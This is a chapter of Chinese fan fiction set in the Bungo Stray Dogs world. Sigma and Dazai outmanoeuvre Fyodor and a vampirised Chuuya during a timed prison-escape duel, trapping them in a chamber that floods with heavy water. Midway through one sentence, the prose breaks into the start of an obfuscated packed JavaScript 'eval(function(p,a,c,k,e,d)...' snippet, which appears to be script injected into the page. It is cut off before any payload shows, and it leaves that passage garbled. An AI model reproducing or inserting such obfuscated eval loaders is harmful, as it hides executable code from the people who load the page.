太宰治没有回话,只是握着她手腕的力道微微调整,拉着她,一圈又一圈地旋着。 他的力道忽轻忽重,像是在玩弄一个提线木偶,又像是在刻意丈量着什么。 在天旋地转的眩晕感里,西格玛忽然意识到了什么。 她想起了太宰治的异能——那种能够将一切异能力归于虚无的、堪称作弊的能力。 他和费奥多尔一样,每一个看似荒唐无稽的举动之下,都藏着必要的目的。 西格玛主动抬起没被太宰治握住的手,指尖轻轻抚上他的脸颊。 指腹擦过他微凉的皮肤,动作里带着几分试探,几分破釜沉舟的笃定。 “你是想试探你的异能,能不能消除掉我吗?” 指尖的触感很轻,像一片羽毛擦过湖面,没有半分旖旎的意味,纯粹是带着洞察的试探。 太宰治却在那一瞬间,听见了自己心跳漏拍的声响。 真奇怪。 明明是不带任何情愫的触碰,明明他只是想借着这场荒诞的舞蹈,试探她能否被自己的异能消除。 可那微凉的指尖擦过皮肤时,却像带着细小的电流,顺着神经末梢一路窜进心底,撞得他胸腔里泛起一阵陌生的、轻飘飘的悸动。 那悸动来得猝不及防,快得让他来不及掩饰,连唇角的笑意都僵了半秒。 西格玛的指尖还停留在他的脸颊,心里却已是一片冰凉的清明。 她没有被消除,没有在触碰他的瞬间化作虚无的烟尘,这就意味着,她并非异能的造物。 可这样的结论,非但没让西格玛松口气,反倒让茫然像潮水般漫过心脏。 她从一开始就没有过去,没有来历,只是为了某个目的被凭空创造出来的存在。 不是异能体,那她到底算什么?算人吗? 西格玛不知道答案,也不知道该向谁去问。 她只是“活着”。 她只知道,自己此刻还活着,还能感受到指尖下太宰治微凉的皮肤,还能听见两人凌乱的脚步声,在这死寂的监狱里,一下下敲着。 话音落下,西格玛便快速收回了手,指尖的温度迅速褪去,语气平静得近乎漠然,“算了,你不需要回答我。” 太宰治的动作骤然一变,环在她腰间的手臂猛地收紧,带着不容抗拒的力道将她向自己带近,另一只手却顺着她的后背下滑,稳稳托住她的腰侧——下腰的弧度在瞬间成型。 西格玛的身体猝不及防地向后弯折,长发从肩头滑落,垂成一道柔顺的弧线,视线里的天花板与地面瞬间颠倒。 她只能被迫仰望着太宰治,距离近得能看清他睫毛上沾着的细碎尘埃,能嗅到他身上淡淡的冷冽气息,混着一丝若有若无的、属于监狱的潮湿气息。 他的眼眸深不见底,往日里漫不经心的笑意似乎沉淀了下去,只剩下一片浓稠的暗,里面翻涌着她读不懂的情绪,是探究,是玩味,还是别的什么? 西格玛的心脏在胸腔里剧烈跳动,眩晕感与失重感交织着袭来,她下意识地抬手,想要抓住什么稳固自己,指尖却只擦过太宰治胸前的布料。 还没等她将那双眼眸里的情绪分辨出半分,托着她腰侧的力道陡然加重,又猛地向上发力—— 她被他带着,以一个急促却流畅的姿态重新站直,身体因为惯性撞进他的怀里,鼻尖擦过他的锁骨,带着微凉的触感。 太宰治的动作猛地顿住,握着她的手也下意识松开。 力道褪去的瞬间,西格玛几乎踉跄着后退半步,才勉强站稳。 他没有回应那个问题,反而垂眸看着她,眼底的笑意淡了几分,藏进了一丝连自己都未曾察觉的、转瞬即逝的怔忪。 开口时,语气里带着几分认真,又几分戏谑的缱绻。 “我之前说的是真的哦。” “像您这样美丽,又不多问的小姐,简直就是我的理想型啊。” 16. 对决 西格玛完全没有相信太宰治说的话。 她只是庆幸太宰治终于松开了自己,手腕上残留的灼热触感,让她下意识地往后退了半步,拉开了些许距离。 太宰治显然也看出了她眼底的全然不信,他歪了歪头,语气里带着几分纯粹的认真:“我说的可都是真的呢。” 西格玛没有理会太宰治的话。 她侧过脸,刻意不去看他那双藏着太多算计的鸢色眼眸,指尖轻轻理了理变得有些凌乱的头发。 “你啊……认真一点吧,”她的声音冷了几分,带着不易察觉的焦灼,“这个时候费奥多尔可是在不断地接近出口。” 太宰治低笑出声,往前又凑近了些,语气里漫着几分柔软的暖意,少了平日里的轻佻:“在担心我吗?真是位美丽又心善的小姐啊!” 话音落下,他脸上的笑意却收敛了些,眼底漫过一层深不可测的光,轻飘飘地接了一句:“那可不好说啊。” 与此同时,另一边的牢房里,费奥多尔依旧在原地静静坐着。 果戈里用不知道从哪里拿出来的拐杖,轻轻敲了敲地面,发出清脆的声响。 他歪着头,语气里带着几分玩味的催促:“游戏已经开始五分钟了,你不行动吗?” 费奥多尔只是静静地笑着,苍白的指尖轻轻摩挲着衣袖上的纹路,那笑意浮在唇角,却半点没抵达眼底。 看着费奥多尔这副胸有成竹的模样,果戈里的眼眸危险地眯了眯。 尾音拖得长长的,带着几分了然的意味:“各派有各派的做法,是吗?” 费奥多尔没有开口。 回应他的,只有一个饱含深意的笑容,像一张缓缓铺开的网,藏着无人能懂的棋局。 而另一边,西格玛看着身前的太宰治,轻轻蹙着眉头。 眼前的男人或许不可靠,但他是和费奥多尔一样的聪明人,和自己这样的凡人不一样。 西格玛不明白,为什么太宰治现在要浪费时间。 或许这其中藏着什么她猜不透的深意,但身为凡人的西格玛并不明白,她唯一的念头,就是快点赢得这场对决。 太宰治依旧挂着那副漫不经心的笑意,眸光沉沉地观察着西格玛的反应。 从刚刚他就发现了。 不管是果戈里突如其来的拥抱,费奥多尔意有所指的话语,还是他带着试探的触碰。 无论遭遇什么,她都只是沉默地承受。 被触碰到的瞬间,她下意识流露的从来不是抗拒的挣扎,而是难以克制的紧张与颤抖。 显而易见,因为费奥多尔和果戈里,她过得很不好。 这份近乎麻木的隐忍,像一层薄而脆的壳,裹着内里摇摇欲坠的慌张,任谁都能一眼看穿她的身不由己。 他见过太多人,见过在绝境里歇斯底里的疯狂,见过在强权下卑躬屈膝的谄媚,也见过被碾碎尊严后彻底麻木的死寂。 可西格玛不一样。 她的沉默从不是妥协,那些藏在垂睫阴影里的慌张,那些被触碰时抑制不住的颤抖,是她在绝境里死死攥住的、属于“自己”的微弱证明。 费奥多尔的话语像无形的枷锁,果戈里的靠近像突兀的惊雷,而她就站在那片风雨飘摇里,用一层薄脆的隐忍做壳,把内里摇摇欲坠的慌张小心翼翼地裹起来,既不反抗,也不沉沦。 这份矛盾的特质,像一株在裂缝里倔强生长的花,脆弱得仿佛风一吹就会折断。 却又偏偏透着一股韧劲儿,在绝望的土壤里,硬生生挣出了一抹属于自己的生机。 太宰治看着她紧抿的唇线,看着她攥得发白的指节,眼底的笑意深了深。 原来不是麻木啊。 是在看不见光的地方,还不肯彻底熄灭的,一点执拗的、鲜活的东西。 这份脆弱与坚韧交织的模样,远比初见时那份易碎的美丽,要有趣得多。 太宰治在想什么,西格玛并不知道。 她只是看着眼前的男人,嘴角勾起的浅笑,那是和费奥多尔如出一辙的漫不经心的姿态,仿佛一切尽在掌握。 西格玛的心绪带着急切,她不明白为什么太宰治现在要浪费时间。 费奥多尔在另一边,可是在行动着。 心脏在胸腔里跳得又急又重,像揣着一只扑腾的鸟。 西格玛轻轻呼出一口气,声音压得低而稳:“别再浪费时间了……” 如果不能赢得这场对决,不能杀死费奥多尔的话…… 她的呼吸猛地一滞,指尖收紧,连带着后颈的皮肤都绷紧了,像是有冷意顺着脊椎爬上来。 忽然,果戈里的声音毫无预兆地在西格玛脑海中响起,带着几分漫不经心的残忍。 [“只要费奥多尔不死,你就永远无法得到安息的『家』。”] 『家』。 只是一个轻飘飘的字眼,却像一枚淬了冰的针,猝不及防地刺中她心底最柔软的地方,让她的心脏控制不住地轻轻发颤。 西格玛也不明白,为什么只是简简单单的一个字,就能让她的心如此动摇。 这个世上,所有人自出生起,就拥有一个名为“家”的归处,除了她。 她从无中诞生,此后的每一步,都走在被人利用的泥沼里。 费奥多尔的算计,果戈里的戏谑,连眼前的太宰治,眼底也藏着她读不懂的筹谋。 但就像果戈里说的那样,如果不能打败费奥多尔,她就永远挣脱不了这层枷锁,永远得不到真正属于自己的、能称之为“家”的地方。 西格玛垂在身侧的手猛地攥紧,指节泛白,眼中倏然闪过一丝坚定。 那抹光刺破了眼底的迷茫,连带着字句里都淬着不容动摇的韧劲。 “我有着必须要胜过费奥多尔的理由。” 我再也不要被别人利用了。 她在心底无声地呐喊,胸腔里翻涌着压抑许久的情绪。 ……再也不要被别人当作棋子,再也不要任人摆布。 淡粉色的眼眸闪烁着微光,语气里带着不容置疑的决绝,像是在对太宰治说,又像是在对自己下最后的通牒。 “无论付出些什么,我都必须胜过他才行。” 西格玛下意识地单手环住手臂,指节轻轻攥着衣袖,这是她藏不住的不安小动作。 她没察觉到这个略显局促的姿态,反而将胸前的丰盈曲线勾勒得愈发明显。 太宰治的目光漫不经心地掠过那道起伏的弧线,却没在上面多作停留。 只一瞬,便敏锐地捕捉到她微微绷紧的肩线,和眼底一闪而过的局促。 就像被风雨困住的幼鸟,连收拢羽翼的动作都带着怯意。 太宰治察觉到她在不安。 或者说,从见到的第一面,西格玛身上就透露着隐约的不安。 她的眉头总是轻轻蹙着,让人想要替她抚平。 比如说太宰治。 他垂眸看着西格玛攥紧衣袖的指尖,那点泛白的力道几乎要将布料绞出细碎的褶皱,漫不经心的笑意里忽然掺了几分真切的了然。 原来那份藏在眼底的决绝,从来都不是凭空而生的孤勇,而是被逼到绝境后,破釜沉舟的最后一搏。 太宰治低低地笑出了声,尾音里带着点恍然大悟的轻扬:“原来如此。” 话音落下的瞬间,他微微躬身,行了一个标准的鞠躬礼。 右手顺势伸出,递在西格玛面前,掌心温和地向上摊开,弧度舒展得恰到好处,既没有施舍般的居高临下,也没有刻意讨好的卑微。 鸢色的眼眸里敛去了所有漫不经心的玩味,细碎的光在眼底沉淀,晕开一片难得的认真:“请相信我,我一定会让你活着出去的。” 这个邀请的姿势,带上了承诺的意味。 看着他伸出的手,骨节分明,掌心向上摊开,像在递出一个毫无破绽的承诺。 西格玛的目光在那只手上短暂凝滞,指尖几不可查地蜷缩了一下。 此刻,太宰治伸出的手,和当时费奥多尔伸出的手,有什么不同呢? 西格玛不知道。 短暂犹豫后,她终究还是将指尖轻轻搭了上去。 并非是她真的愿意相信眼前这个男人,而是和之前面对费奥多尔时一样,她根本没有其他选择。 眼前的男人和费奥多尔一样,都带着让人看不透的深谋远虑,都是危险的,不能去信任的人。 可她此刻,却只能将自己的生路,押在这份不确定的承诺上。 她只能去相信他。 明知有风险,依然坚定地选择跟注。 太宰治感受到掌心传来的微凉触感,看着西格玛搭上来的手,指尖还带着微微的颤抖。 鸢色眼底倏地漾开一抹笑意。 那是一种计谋得逞的笑意,又掺杂着几分不易察觉的、转瞬即逝的柔软。 只是这份愉悦并未持续太久,太宰治甚至来不及细细品味这份西格玛将自己交付于他的微妙感觉。 一阵沉闷的晃动声,便突然从监狱的楼上传来。 伴随着几声模糊的金属碰撞声,在寂静的空间里格外刺耳。 西格玛搭在他掌心的手像是被烫到一般,猛地收了回去,身体下意识地绷紧。 她抬眼望向声音传来的方向,声音里带着难以掩饰的慌乱:“怎么了?……这声音,是从楼上传来的?” 指尖那点转瞬即逝的温度,像被风吹散的雾气,一下子就没了踪迹。 太宰治缓缓收回手,指尖轻轻摩挲了一下,像是在回味方才的触感。 随即,他微微抬头,目光穿透凝滞的空气,望向监狱上方的楼层。 刚刚还带着笑意的眼眸瞬间沉了下去,锐利的光芒一闪而过,捕捉着空气中每一丝异动。 西格玛看着楼层的晃动彻底平息,周遭的喧嚣像是被一只无形的手骤然掐断,只剩下空气里残留的震颤余韵。 “安静下来了。” 她话音刚落,在她身侧的太宰治便轻飘飘地开口,语气漫不经心,却带着不容置疑的笃定。 “是入侵者。” 西格玛的瞳孔微微收缩,纤长的睫毛倏然一颤,脸上漫上一层真切的惊讶,她猛地转头看向太宰:“什么?” 太宰直起身,指尖慢悠悠地划过墙面,留下一道浅淡的痕迹,声音依旧平静无波:“一开始的骚动,就不是你跟果戈里引发的。只要知道这点……” “慢着。”西格玛打断他,秀眉紧锁,语气里带着几分警惕,“你说入侵者,为什么你能够如此断言?” 太宰治闻言,忽然低低地笑了起来,那双鸢色的眸子弯成了月牙,却半点暖意也无。 他抬手,骨节分明的手指轻轻敲了敲自己的耳廓,动作带着几分戏谑的慵懒。 “很简单。” 他拖长了语调,尾音轻飘飘地散开在空气里。 “因为天使在我耳边低语。” 西格玛愣住了,眉头皱得更紧,眼底满是茫然。 她盯着太宰治的脸,纤细的手指无意识地攥紧了衣角,试图从那副散漫的神情里找出一丝破绽,却只看到深不见底的笑意。 “天使?你在说什么?” 她飞快地思索着,是某种暗语?还是隐藏的通信手段?可刚刚太宰治一直和自己待在一起,身上根本没有无线电之类的东西…… 西格玛压下心头的疑虑,追问道:“而且入侵者到底是谁?” 太宰治没有立刻回答,只是歪着头看她,嘴角的弧度始终保持在那令人捉摸不透的角度,像是藏着无数的秘密。 过了半晌,他才缓缓开口,语气轻得像一阵风。 “只有一个可能吧?” 西格玛的心猛地沉了一下。 这种感觉,和面对费奥多尔的时候一模一样。 像是坠入了一张精心编织的网,对方始终站在高处,俯瞰着困在网中的自己,而自己却连对方的衣角都触碰不到。 西格玛的指尖无意识地蜷缩起来,指腹抵着掌心,压出几道浅浅的白痕。 她声音里带着一丝不易察觉的紧绷:“是费奥多尔的棋子吗?” 另一边,费奥多尔依旧在原地静坐着,指尖漫不经心地摩挲着袖口的纹路,脸上带着一抹淡得几乎看不见的浅笑。 一阵急促的脚步声由远及近。 下一秒,咚的一声巨响,审讯室的铁门被狠狠踹开,默尔索监狱的警务人员荷枪实弹地冲了进来。 “都不许动!” 为首的警员厉声喝道,他们迅速分散站位,黑洞洞的枪口齐刷刷对准了静静坐着的费奥多尔。 “囚人D18!立刻束手就擒!” 一旁的果戈里将这一幕尽收眼底,他低低地笑出声来,宽大的斗篷被他抬手一掀,衣摆划过一道夸张的弧度,语气里满是戏谑的轻快:“哎呀呀,这阵仗可真吓人!那我就先告辞啦!” 话音未落,他的身影便化作一道残影,凭空消失在了原地。 “举起双手!”警员的呵斥声更凌厉了几分,“一旦抵抗,立即射杀!” 费奥多尔闻言,缓缓地将双手举过头顶,动作慢得像是在欣赏一场无趣的闹剧。 他那双深紫色的眼眸里毫无波澜,平静地扫过眼前神色紧绷的警务人员,仿佛眼前的枪口不过是不值一提的玩具。 就在这时,一道凌厉的劲风骤然袭来。 伴随着沉闷的撞击声,两名冲在最前的警务人员竟被一股不知名的力量狠狠击飞,重重地倒在地上,昏死过去。 “什么!”剩下的人脸色骤变,惊呼出声,枪口的准星不由得晃了晃。 与另一边的混乱不同,默尔索监狱第四层走廊里,有着一片堪称惨烈的静默场景。 地上横七竖八躺着失去意识的警务人员,墙面与地面布满深浅不一的坑洞,碎石混着子弹散落得到处都是。 太宰治穿着一身宽松的白色囚服,双手随意垂在身侧,步子不疾不徐地走在西格玛前面。 赤着的双脚踩在碎石上,没有发出一点多余的声响,径直朝着走廊中央那片最狼藉的地带走上前去。 西格玛怔怔地看着眼前的狼藉,指尖微微发颤,声音里带着难以掩饰的错愕:“这是……” 太宰治蹲在地上,指尖轻轻拂过地面的裂痕,又翻看过倒地警员的衣领,半晌才直起身,眼底闪过一丝了然。 “原来如此。” 他目光扫过地上的坑洞,又落向墙壁上那些凹陷的痕迹,语气陡然染上几分锐利的笑意。 “我知道入侵者是谁了。” 太宰治勾起唇角,那笑容里带着几分玩味,又藏着一丝不易察觉的冷意:“费奥多尔这家伙,居然打了一张这么讨人厌的牌。” 与此同时,走廊尽头传来幸存警员惊慌失措的呼喊声,通讯器里的电流声刺啦作响。 “入侵者已进入第四层!请求增援!请求增援!” “入侵者的异能是——” “重力操控!” 中原中也双手插兜,最后一名警卫被他一脚踩在脚下,闷哼都发不出一声。 费奥多尔就坐在原地,静静地看着这一幕,唇边依旧噙着那抹浅淡的笑意,紫罗兰色的眼眸里波澜不惊。 被踩在地上的警卫早已没了气息,唯有中原中也那双泛红的眼瞳,格外地刺目。 眼前的重力使,赫然已是吸血鬼化的状态。 这边的走廊上。 西格玛从太宰治口中得知了入侵者的身份,瞳孔骤然收缩,脸上难掩惊惧之色。 她当然知道中原中也是谁,那可是港口□□赫赫有名的重力使。 太宰治低低地笑出声来,肩膀微微耸动着,语气里带着几分兴奋的雀跃:“哈哈哈,这么一来局势就变成二对二了。” 他抬眼看向西格玛,眼底的锐利褪去几分,笑意更深:“一边是我和你,另一边是费奥多尔和中也,二对二。” 走廊的另一端。 费奥多尔走在前面,唇边挂着那抹一切尽在掌握的浅笑,步伐不疾不徐,仿佛只是在悠闲地散步。 吸血鬼化的中原中也面无表情,粗重的喘息声混杂着胸腔里压抑的低吼,指尖死死攥着两名警务人员半截尸体的衣领,脚步沉缓地跟在后面。 “真的没问题吗?” “敌人可是重力使,战力绝对比我们强。” 西格玛紧蹙着眉头,指尖无意识地攥紧了衣角,布料被绞出细碎的褶皱,像她此刻纷乱的心跳。 “我们现在就像是拼命从绞肉机中逃出。” 太宰治依旧挂着那漫不经心的浅笑,眸光里盛着漫无边际的慵懒,就像一切尽在他的掌握之中。 “没关系的。” 他拖长了语调,尾音里裹着几分玩味。 “这七年来,我每天都在思考杀死中也的方法。而且——” 太宰治的手指屈起,轻轻敲了敲太阳穴。 “我还有天使的帮助。” 西格玛思索着太宰治的话语,眉峰蹙得更紧,心脏像是被一只无形的手攥住,微微发疼。 天使…… 刚刚他也这么说,说因为是天使在我耳边低语告诉我的。 “难道……是外部帮手的建议?” 西格玛的声音很轻,带着一丝不易察觉的试探。 目光紧紧锁在太宰治脸上,试图从那层完美的笑意下,捕捉到一丝真实的情绪。 太宰治的笑容短暂消失了。 那一秒的空白,像被骤然按下暂停键的胶片。 他没有马上回应,眸光沉沉的,辨不清情绪。 “你明明只有三岁,倒是挺敏锐的。” 太宰治又笑了,笑意重新漫上眼角眉梢,却比刚才更添了几分锐利,像淬了冰的刀锋,轻轻擦过皮肤时带着凉薄的刺痛。 西格玛沉默着,垂在身侧的手指猛地蜷缩起来,指甲深深嵌进掌心。 她显然猜到了太宰治是从谁那里得知的。 另一边,费奥多尔的指尖正叩击着密码键。 滴——,滴—— 清脆的声响在空间里响起,那双手纤长白皙,骨节分明,每一次按压都带着一种近乎慢条斯理的笃定。 中原中也就跟在他身后,周身的戾气几乎要凝成实质,却又被某种无形的桎梏困着,只能死死盯着那抹过于素净的背影。 太宰治将右手虚虚按在胸口,唇角噙着惯常的、叫人看不透的笑意。 “我传达的内容会转化为数值,再用自己的心率将其再现。” 他的声音漫不经心,像是在说一件无关紧要的小事。 “体内的心率检测器会读取我的身体数据,地面上的安吾则负责接收数值、进行解读。” 听着太宰治的话语,西格玛轻轻垂下了眼眸。 纤长的睫毛在眼睑下,投出一小片浅影,让人看不清楚她眼中的情绪。 下一秒,西格玛抬眸看向太宰治,那双漂亮的眼睛里,清晰地写着怀疑。 “你撒谎。” 三个字干脆利落,带着点不容置疑的笃定。 太宰治明显愣了一下。 那双淡粉色的眼眸就这样直直的望向他,是粉宝石、粉水晶,还是粉玛瑙呢? 太宰治还在思索。 西格玛却没给他留余地,继续说道:“最多只有一半是真的,这种方法有致命的缺陷。” 她微微蹙着眉,语气认真得近乎执拗,“按照这种方式,你只能从这里送出情报,这是单向的。你要怎么接收来自地面的情报?” 太宰治闻言,非但没恼,反而勾起一抹更深的浅笑,眼底的光晦暗不明。 “你说的不错。” 他慢悠悠地应着,尾音拖出一点玩味的调子,“我当然有办法,那个办法坚如铁壁,甚至能骗过那个费奥多尔。” 太宰治向前微微倾身,目光落在西格玛紧抿的唇上,语气带着几分蛊惑:“你要猜猜看吗?要是猜出来了,你就在费奥多尔之上了。” “唔……” 西格玛下意识地沉吟出声。 在费奥多尔之上…… 这个念头像是一颗投入湖面的石子,瞬间在她心里漾开了一圈又一圈的涟漪,带着一种难以言喻的吸引力。 她左手猛地握拳,抵在唇边,原本微蹙的眉拧得更紧了,漂亮的眼尾微微下垂着,此刻却因为太过专注,染上了几分稚气的认真。 唔唔唔…… 她是真的在绞尽脑汁地思索,连呼吸都下意识地放轻了几分。 太宰治垂眸看着认真思考的西格玛,眼底掠过一丝极淡的笑意。 真单纯啊,她和敦是同类人吧…… 这个念头一闪而过,他的目光不由自主地落在西格玛轻垂的眼睫上。 他知道,现在的西格玛全部的注意力都放在了那个谜题上,绝不会分神留意他。 所以现在,他可以肆无忌惮地,重新观察着她。 太宰治就那样静静地看着,目光描摹着她秀美的眉眼,描摹着她因为思考而微微抿起的唇,描摹着她白西装领口露出的一小截纤细的脖颈。 最后,他在心里得出了一个结论。 思考的样子,也很可爱。 西格玛丝毫没察觉到他的目光,依旧陷在自己的思绪里。 太宰到底是怎么从外部获得情报的? 信件?隐藏的无线电?这些肯定不行,只要稍微搜查,就会被监狱方发现。 那么是某种异能?比如心灵感应之类的…… 不,不对。 太宰治的异能可以无效化一切能力,他根本不可能接收到心灵感应。 到底是…… 她的眉头皱得更紧了,连带着眼尾都微微向下撇着,像只被难题困住的小动物。 太宰治看着她这副苦思冥想的模样,终于忍不住,低低地轻笑出声。 这声轻笑很轻,却像一根羽毛,轻轻搔在了西格玛的思绪上,瞬间打断了她所有的思考。 “啊!” 西格玛猛地抬起头,脸颊微微涨红,淡粉色的眼眸里满是被打断的气恼。 太宰治看着她这副模样,心底的笑意更浓了。 啊,气恼的样子,更可爱了。 像只被惹到,顿时凶巴巴炸毛的小猫。 而被比作炸毛小猫的西格玛,这时才后知后觉地反应过来——现在可不是玩猜谜游戏的时候! 他们正在进行一场限时三十分钟的越狱对决! “现在是玩猜谜游戏的时候吗?” 她的声音带着点急促的拔高,连带着眼尾都微微扬了起来,那点秀美的弧度里,满是不加掩饰的焦急,“没时间了,你赶紧说!我们必须在费奥多尔之前越狱——” 太宰治却只是看着她,笑意渐深,那双鸢色的眸子里,盛着她看不懂的深潭。 “我才不越狱呢。” 轻飘飘的一句话,却像一道惊雷,直直劈进了西格玛的脑海里。 她彻底愣住了,漂亮的眼睛睁得圆圆的,满是错愕:“啊?你在说什么?” 西格玛甚至忍不住上前一步,语气里带着难以置信的急切:“你的脑子坏掉了吗?你不越狱,那你要怎么赢?” 太宰治看着她这副急得快要跳脚的模样,缓缓伸出一根食指,轻轻晃了晃。 接着,他微微弯起唇角,露出一个饱含深意的、带着几分冷冽的浅笑。 那笑容落在西格玛眼里,莫名地让她心头一跳。 只听太宰治一字一顿,清晰地说道: “很简单。” “在比赛时间内,把费奥多尔给……” “干掉。” 费奥多尔最后一个密码输入完毕,他按下井号键。 嘀——! 一声尖锐刺耳的长鸣骤然炸开,打破了空间里的沉静。 下一秒,猩红的光芒如潮水般从墙壁的嵌入式光源中涌出,瞬间将费奥多尔与中原中也的身影吞没。 跳动的红光沿着金属地面的纹路蔓延,像挣脱束缚的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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紫眸里情绪难辨,既没有意外,也没有焦虑,只是静静观察着那扇纹丝不动的大门,仿佛早已预料到这样的结果。 而红光之外,太宰治与西格玛所在的区域依旧保持着原本的冷白照明。 太宰治慢悠悠地走到西格玛身前,鸢色的眸子里盛着惯常的深潭,唇角依旧噙着那抹漫不经心的浅笑。 “默索尔的隔墙可是用顶级耐异能金属打造的,不仅坚硬无比,还自带吸收异能的功能,” 他语气轻松,像是在点评一场有趣的闹剧。 “就算是中也,短时间内也别想突破。” 他说着,脚步不停,来到一旁的大门前停下,指尖轻轻敲了敲冰冷的金属表面,发出“笃笃”的轻响。 “中也确实很强,” 太宰治侧过头,看向一旁的西格玛,笑意里添了几分势在必得。 “所以我才要在这里,彻底打败他。” 西格玛站在太宰治身后,眉头微微蹙起。 脑海里飞速闪过之前看过的监狱地图——复杂的通道、交错的区域…… 记忆突然清晰起来。 她猛地反应过来,心头一震。 这里是……中央警卫室?! 红光内,封锁的空间开始灌入重水。 哗啦啦—— 湍急的水流声轰然响彻,冰冷的液体疯狂涌进逼仄的区域,转瞬便漫过了脚踝。 费奥多尔垂着眸,指尖依旧在键盘上飞快跳跃,继续输入着密码。 电子音尖锐地响起,带着机械的冰冷: 警告——该注水进程将无法被中断。工作人员请按规定章程迅速避难—— 话音未落,一阵噼里啪啦的电流声骤然炸开。 砰! 电子锁应声爆裂,四溅的火星裹挟着滚烫的碎片,直直飞向费奥多尔。 火星擦过他的右手,皮肉被灼烫炸开,鲜血瞬间渗了出来。 费奥多尔抬起受伤的右手,轻轻挡住唇角,紫眸里掠过一丝极淡的冷意。 连电路都坏了吗…… 另一边,太宰治也正垂着指尖,按在密码按钮上。 “隔墙一旦被封锁,就绝不会再开,也无法停止注水。” 他语气散漫,带着点事不关己的淡漠,“世界上最安全的监狱,可不是骗人的。” 西格玛看着他的动作,心脏猛地一紧,连忙冲上前去。 “你在干什么?千万别打开那扇门!” 她一把攥住太宰治垂在身侧的左手,力道大得指尖都微微发颤。 “这前面的中央警卫监控室可是莫尔索的心脏!你是想被里面的武装警务射杀吗?住手!” 第一反应是担心我被射杀吗? 太宰治低垂着眼眸,愉悦的目光慢悠悠扫过西格玛紧紧抓着自己的手。 她慌乱得用双手攥住了他的左手,指节都泛了白。 他笑着看向眼前慌张的少女。 “我已经开了哦。?” 太宰治话音落下的瞬间,嗡—— 紧闭的金属大门应声滑开,露出了门后的光景。 西格玛猛地松开手,眼底满是错愕。 太宰治垂眸,指尖微微摩挲着,像是在回味掌心残留的触感。 两人一同走了进去。 西格玛看清门内场景的刹那,瞳孔骤然收缩,失声低喃: “不会吧……” 监控室的地面上,横七竖八躺满了警务人员,血腥味混杂着硝烟气,扑面而来。 “所有人都被放倒了……” 西格玛猛地回过头,看向身旁一脸闲适的太宰治,声音里带着难以置信的颤抖: “是你干的吗?可是这门是刚刚才打开的,到底是怎么……” 太宰治笑着打断她的话,抬起那只刚刚被西格玛紧紧攥住的左手,指尖轻轻点在唇角,鸢色眼眸里盛着捉弄人的笑意。 “我把时间暂停了哦。” 西格玛的瞳孔猛地一缩。 另一边,封闭空间里的重水已经淹到了大腿。 中原中也的衣物浸得湿透,他咬紧牙关,一拳接一拳狠狠砸在耐异能金属墙壁上。 咚!咚!咚! 沉闷的撞击声接连不断,震得水面泛起涟漪。 可那面墙壁,却依旧纹丝不动,连一丝裂痕都没有。 费奥多尔站在齐膝深的水里,紫眸平静地看着眼前的一切。 他轻轻垂下眼睫,无声地叹了口气。 这下,糟了呢。 太宰治继续往里面走,西格玛跟在他身后,白色皮鞋碾过地面的尘埃,发出细碎的声响。 “慢着太宰,你说『把时间暂停了』?!” 她的声音里带着难以掩饰的惊惶,指尖无意识地攥紧了衣角,“不可能,你的能力是『异能无效化』吧!” “别想蒙混过关!” 太宰治闻言回过头,鸢色的眸子里盛着漫不经心的笑,像淬了蜜糖的毒,慢悠悠地看向她。 “默尔索可是危险异能者的标本市场。在此之中,就有那家伙。” 他竖起一根手指,语气轻佻得像是在说什么无关紧要的趣事。 “异能犯罪者,她是世界上最强的盗贼,因在南美偷出八份政府的军事机密文件而被捕。” “她的异能很有趣,虽然只有几秒,但可以停止时间,而自己不受影响。” 西格玛像是明白了什么,瞳孔一缩。 太宰治见状,笑意更深了些,继续说道:“效果范围为以她为中心方圆数千米,安吾跟她达成司法交易,以缩短她的刑期作为交换,每天早上,她使用异能停止时间,安吾会指定时长与次数。” 西格玛的喉咙动了动,干涩地吐出自己的猜想,声音轻得像一阵风:“……在她使用异能后,那个静止的空间里,并不只有她一个人能够移动。” 太宰治的笑容瞬间绽开,带着几分赞许的目光落在她脸上:“没错,『异能无效化』,只有我能在静止的时间中行动,而且在停止的时间里,我镇压了警卫室。” 哪怕西格玛已经猜到了真相,可当从太宰治口中得到确认的那一刻,她还是忍不住震惊。 太宰治依旧是那副漫不经心的模样,语气轻飘飘的:“让无法动弹的警卫昏厥,可比打晕正在睡觉的猴子要简单多了。” ……果然,他是和费奥多尔一样的人。 西格玛看着眼前的太宰治,指尖轻轻蜷起。 “好了,这下刚刚给你的『作业』的答案也出来了。” 经太宰治这么一提醒,西格玛猛地回过神来,瞳孔里的震惊更甚:“『从外部取得联络的方法』!” “没错,每天早上时间停止的长度和次数,就是我们之间的暗号。” 太宰治说着,修长的手指在按键上轻快地敲击着,发出清脆的声响,每一声都像是敲在西格玛的心上。 “所以…你明白了吗?” 西格玛的指尖彻底收紧,指节泛白。 用那个方法的话,除了太宰治,其他人根本不可能解读暗号! 也就是说,从一开始,费奥多尔就没有胜算。 太宰只要在时间静止时镇压警卫室,改变密码,再将费奥多尔他们锁在里面就好…… 比赛一开始他就往出口反方向慢悠悠的走动,这也是…… 为了前往警卫室……一切都在他的掌控之中吗? 太宰治的目光落在屏幕中费奥多尔所在的监控画面上,他俯身靠近话筒,嘴角勾起一抹恶劣的笑意。 “听到了吗,费奥多尔?” 另一边,封闭的空间里,冰冷的重水已经漫到了费奥多尔的肩膀,浑浊的液体倒映着他苍白的脸,却依旧看不出半分慌乱。 太宰治的声音透过话筒传过去,带着漫不经心的戏谑:“快被淹死的心情怎么样?” 听到太宰治声音的费奥多尔静默了一瞬,喉结在水中轻轻滚动,声音平静得诡异:“……我是不会死的。” “你这反应真不错,” 太宰治轻笑一声,语气里满是嘲弄。 “可你要怎么逃出生天呢?即使想用异能力逃脱,你也无法破坏墙壁,而且中也只能操控『触碰的物品』的重力,不擅长应对粉末跟液体。” 他顿了顿,拖长了语调,像是在故意逗弄猎物:“那么要用你的异能吗?” “如果是这样,虽然很有趣,但在我看来,你的异能并不能打破这个窘境,所以我才故意挑了这个陷阱。” 重水依旧在咚咚地灌进来,冰冷的液体不断攀升,很快就漫到了费奥多尔和中原中也的脖颈。 两人的头顶堪堪抵着冰冷的房顶,连呼吸都变得困难起来。 费奥多尔的侧脸映在泛着冷光的水里,俊美的面容苍白得近乎透明,几缕湿发贴在额角,衬得那双紫罗兰色的眼眸愈发幽深。 看着屏幕里即将被水淹没的费奥多尔。 西格玛让自己不要想,也不去想。 